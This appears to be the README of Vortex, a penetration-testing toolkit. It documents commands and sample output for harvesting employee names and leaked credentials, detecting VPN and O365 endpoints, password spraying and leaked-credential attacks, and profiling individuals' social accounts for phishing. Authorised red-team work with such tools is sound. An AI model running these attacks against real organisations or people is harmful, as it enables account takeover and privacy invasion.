Vortex - VPN Overall Reconnaissance, Testing, Enumeration And eXploitation Toolkit

VPN Overall Reconnaissance, Testing, Enumeration and Exploitation Toolkit

Overview

A very simple Python framework, inspired by SprayingToolkit, that tries to automate most of the process required to detect, enumerate and attack common O365 and VPN endpoints (like Cisco, Citrix, Fortinet, Pulse, etc...).

Why I developed it

Make the VPN spraying phase much quicker and easier. Also, due to its flexibility, this tool can be added to an existing OSINT workflow pretty easily.

What the tool can do for you

Vortex mainly provide assistance with performing the following tasks:

User Search and Collection LinkedIn Google PwnDB Password Leaks PwnDB Main Domain Identification OWA S4B/Lynk ADFS Subdomain Search Enumeration Bruteforce VPN Endpoint Detection Password Spraying/Guessing attacks O365 Lynk/S4B ADFS IMAP VPNs Cisco Citrix FortiNet Pulse Secure SonicWall Search profiles on Social Networks Instagram Facebook Twitter TikTok Onlyfans

Installation

Install the pre-requisites with pip3 as follows:

sudo -H pip3 install -r requirements.txt

Install with Virtualenv

Otherwise, you can install the pre-requisites using a virtual environment:

On Windows

virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt

On Linux

python3 -m virtualenv venv
source venv/bin/activate
pip install -r requirements.txt

Usage

Using the tool is pretty straight forward, but there is a workflow to respect. The tool uses as SQLite database to store information about the current attack.

Workspace

The workspace represents the database file used by the tool. The name should be just a simple name to label the current attack, project or target.

To each workspace is assigned one SQLite database. When you specify a workspace name, such as:

python manage.py -w workspace1

What you're actually saying is "I want to operate on the workspace1.db file".

Workspace Initialisation

In order to work properly, Vortex needs to initialise the DB with the correct schemas. To do that, the only thing to do is executing the command:

python manage.py -w workspace1 db -c init

If a user tries to skip this phase, Vortex will just print to screen the correct command to launch first.

[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init

Instead, when running the same command against an existing, initialised DB, Vortex will ask for confirmation before overwrite the DB file:

[-] The DB file exists and it was initialised, overwrite?
[y|n] $> y

Actions and commands

Vortex works with one positional argument, the 'Action', and other keyed values.

The most important among them is the command argument (-c cmd). In combination with the action value, the command define what Vortex should do.

It is possible to see the list of supported actions from the Help:

python manage.py -h

Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation

positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute

optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endp oint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file

Dynamic argument inputting

As observable from the help, the list of supported commands per action is not specified anywhere. This is because is not necessary to specify a command directly. Indeed, if a command is not specified, Vortex will ask the user to select one among the commands available for the specified action.

python manage.py -w workspace1 db

[*] Select a command:
0 : i nit
1 : sql
2 : add-endpoint
3 : add-user
4 : drop-user
5 : truncate-table
6 : export
$>

The same applies for argument needed by a specific routine. If an argument is difficult to be inputted at runtime, Vortex will kindly remind the user that the parameter is required. Otherwise, Vortex will guide the user into selecting or inputting the necessary arguments.

For example, if a user wanted to export a specific table or even a column, the only required thing would be to launch the export command, as observable from the image, below:

This kind of behaviour makes Vortex really easy to use.

General Workflow

Vortex has been designed to adhere to a specific operation workflow, summarized in the below schema:

Operations

Collect users

Collect valid users for a specific target can be done using three different sources:

This source has been removed for infringement of LinkedIn user policies. You can still operate on LinkedIn using GoMapEnum, and then import the email addresses using the import command.

Again, please be aware that using this functionality is a breach of the LinkedIn user agreement, as observable at point 8.2 of the LinkedIn user agreement:

You agree that you will not: [...] 2. Develop, support or use software, devices, scripts, robots or any other means or processes (including crawlers, browser plugins and add-ons or any other technology) to scrape the Services or otherwise copy profiles and other data from the Services;

CrossLinked

To partially replace the above functionality, the tool embeds an adapted version of CrossLinked. This tool will try to detect employees of a company using Google and Bing. It's certainly not the same as directly searching on LinkedIn, but it's pretty useful.

In order to operate correctly, the tool will ask the user which format should be used for usernames (i.e. john.doe, j.doe or d.john) and which is the standard domain used by the target domain.

crosslinked -D evilcorp.com -C "Evil Corporation" ,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F [+] Select a format for usernames 0: firstlast 1: lastfirst 2: first.last 3: last.first 4: last.f 5: flast 6: lfirst 7: f.last 8: l.first 9: first 10: last $> 2 [*] Starting search on Google and Bing with CrossLinked [>] Searching google for valid employee names at "Evil Corporation" [>] Searching bing for valid employee names at "Evil Corporation" [>] Found 133 LinkedIn accounts! [*] Updating DB ... [+] Done!">

python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"

[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!

Google

This source is operated using a stripped, modified version of theHarvester. The tool will try to extract names/e-mails from Google (Passive Gathering) using Google Dorks, and from the company website (Active Gathering).

python manage.py -w workspace1 search -c google -D evilcorp.com

[*] Starting passive/active search on Google
[*] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com
[*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com
[+] Scraping any emails from: https://evilcorp.com
[+] Scraping any emails from: https://www.facebook.com/EvilCorp/
...

[+] 2 unique emails found:
---------------------------
[email protected]
[email protected]
[>] Found 2 mail
[*] Updating DB ...
[+] Done!

PwnDB

This source is operated using a ported version of the one implemented in sn0int.

Note: this functionality requires to be connected to the TOR network. On Windows, it is possible to use the embedded version provided with Vortex. On Linux, instead, it is necessary to install the tor package (i.e. sudo apt-get install tor on Kali).

Start TOR

python manage.py -w workspace1 tor -c start

[*] Starting TOR Browser, click on connect

Enumerate on on PwnDB

python manage.py -w workspace1 search -c pwndb -D evilcorp.com

[*] Starting search on PwnDB
[>] Found 493 leaked accounts!
[*] Updating DB ...
[+] Done!

Stop TOR

python manage.py -w workspace1 tor -c stop

[*] Stopping TOR browser

Collect endpoints

Vortex uses mainly two macro-categories for endpoints: VPN and Microsoft (Office) endpoints. A target can be added both as an Office or VPN endpoint, and Vortex will try and validate the endpoint as an Office, or VPN endpoint, respectively, using a range of validators.

Add an office endpoint

Let's make it clear with an example. The user needs to attack the target evilcorp.com, and want to check whether the domain is an OWA, Lync, ADFS, or O365 target.

python manage.py -w workspace1 office -c add -D evilcorp.com

[#] OWA domain appears to be hosted internally
[+] evilcorp.com is a valid OWA target!
[-] evilcorp.com does not seem a valid LYNK target
[-] evilcorp.com does not seem a valid ADFS target
[-] evilcorp.com does not seem a valid IMAP target
[+] evilcorp.com is a valid O365 target!

Search subdomains for VPN endpoints

For VPN endpoints, the user can perform a subdomain search in order to find hosts running VPN Web Logins, like this:

python manage.py -w workspace1 domain -c enum -D evilcorp.com

[ *] Starting subdomain passive enumeration
[>] Found 10 subdomains
[$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
[>] Found 1 hosts with a VPN web login
[$] Elapsed time: 32.919618368148804
[*] Updating DB...
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done

Manually add a VPN endpoint

To manually add VPN endpoints, of course, specifying the top level domain would probably not be enough. The correct way would be to specify a specific subdomain along with the specific port the VPN Web Server is running on.

python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443

[+] vpn.evilcorp.com:443 is a pulse target!

Perform a password spray or bruteforce attack against OWA, ADFS, LYNC, or O365

To perform a password spray or even bruteforce attack, the only required resource is a password list in the form of a text file, with one password per line.

python manage.py -w workspace1 office -c attack -P passwords.txt

[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
$> 4
[*] Running O365Enumerator
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done

Perform a password spray or bruteforce attack against VPN endpoints

To perform a password spray or even bruteforce attack, the only required resource is a password list in the form of a text file, with one password per line.

python manage.py -w workspace1 vpn -c attack -P passwords.txt

[ *] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done

Perform a password spray or bruteforce using leaked credentials

As Vortex keeps track of credentials leaked on PwnDB, a user can select to test all leaked credentials instead of providing a password file.

However, consider this behaviour is much different to a normal password spray. In a normal password spraying attack, indeed, a single password is tried against all users. In a leaked credentials attack, the leaked credentials is tested against the specific user it was leaked with. So, as an example, if Vortex found the leaks:

User Leaks
---------------------------- ----------------------------
[email protected] ["ISecretlyLoveAngela2020!"]
[email protected] ["Puppy19!", "MySweetJ111!"]

Vortex will operate the following attempts, and just the following:

To perform this attack, no password file is needed, but it's required to set the (-L, or --leaks) parameter.

python manage.py -w workspace1 vpn -c attack -L

[*] Choose an e ndpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[+] [email protected]:ISecretlyLoveAngela2020! is valid!
[-] [email protected]:Puppy19! is not valid.
[-] [email protected]:MySweetJ111! is not valid.
[>] Found 1 valid logins
[*] Updating Db...
[+] Done

That's mostly it. Sometimes the tool can ask for more information before performing an attack, such as selecting the VPN realm/group.

Showing results

At any time, you can see valid logins you found using the following command:

python manage.py db -w workspace1 -c found-logins
[+] Valid Logins Collected:
ID Target E-Mail Password
---- -------------------- ---------------------------- ------------------------
1 vpn.evilcorp.com:443 [email protected] Joanna2021!
2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020!
[+] Done

Searching Social Network Profiles

Sometimes, in big engagements, knowing a bit more about our targets helped us in breaching their defenses, such as using personal emails or social accounts for phishing, or also find answers to password resets security questions).

For this reason, I've integrated Profil3r. This tool tries to identify social network accounts potentially related to an individual.

IMPORTANT NOTE: Profil3r tries to locate valid profiles using name mashing. It can't guarantee the found profiles are really related to the target person. For this reason, the profiles are not automatically added to Vortex DB.

Currently, it is possible to operate with Profil3r in two modes:

single-mode multi-mode

The single-mode operates on a set of keywords provided by the user:

python manage.py -w workspace1 profile -c single -k elliot -k alderson

,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F< br/>
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!

The multi-mode operates on first and last name of each user in the DB. Any additional keyword passed in multi-mode is used in combination with users' first and last name. So, as example, you can use additional names or numbers to customise the profile search.

python manage.py -w workspace1 profile -c multi -k 90

[*] Star ting per-user profile search
[>] Searching profiles for Elliot Alderson. Additional keywords: 90
...
└── TWITTER ✔️
├──https://twitter.com/ElliotAlderson
├──https://twitter.com/AldersonElliot
├──https://twitter.com/Elliot90
├──https://twitter.com/90Elliot
├──https://twitter.com/Alderson90
...
[>] Searching profiles for Tom Wellick. Additional keywords: 90
...
└── TWITTER ✔️
├──https://twitter.com/Tom
├──https://twitter.com/Wellick
├──https://twitter.com/90
├──https://twitter.com/Tom90
├──https://twitter.com/90Tom
...
[+] Done!

Importing External Data

Vortex offers also support for importing external data related to users or endpoints. Currently, only plain text files are supported and there is limited support for CSV as well.

The data types which can be imported so far are:

E-mail addresses Usernames VPN endpoints (target:port) Domains Leaks from PwnDB DEPRECATED: just use the search command LinkedIn-data extracted with Blues

Every data-type is supported in normal text-file format, one element per line.

Roadmap

New functionalities are coming soon (2022):

Smart password list generation Data extraction and correlation

Please submit bugs, suggestions, or feature requests.

Credits

byt3bl33d3r: For his amazing work on SprayingToolkit. which inspired the project nodauf: For his work on GoMapEnum, which gave me other ideas quasart: The logo was generated with spiral m8r0wn: For his work on CrossLinked, which is really an awesome tool Greyjedix: For his work on Profil3r, which is very useful tool in certain circumstances

Vortex - VPN Overall Reconnaissance, Testing, Enumeration And eXploitation Toolkit